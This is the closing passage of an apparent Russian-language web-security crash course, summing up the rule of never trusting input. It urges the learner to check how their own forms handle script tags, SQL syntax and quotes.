> Веб-безопасность — это в основном одно правило, применённое с дисциплиной: никогда не доверяй вводу. Валидируй на границе, экранируй на выходе, храни секреты безопасно и наслаивай защиты на случай, если что-то проскользнёт.

Конец экспресс-курса · 7 глав · 21 понятие

Дальше — практика: возьми одну форму в том, что ты построил, и проследи её ввод до самого конца. Валидирован ли он на сервере? Попадает ли в запрос параметром? Экранирован ли, когда показывается на странице? Потом посмотри глазами атакующего: что будет, если в поле окажется тег `<script>`, SQL-синтаксис или кавычка? Уроки становятся конкретными в тот момент, когда ты видишь, как твой ввод доходит до места, где его могут прочесть как код. Но держи одну мысль выше остальных: никогда не доверяй вводу. Почти каждая веб-уязвимость — это правило, забытое в одном месте, и почти каждая защита — это правило, применённое с заботой.
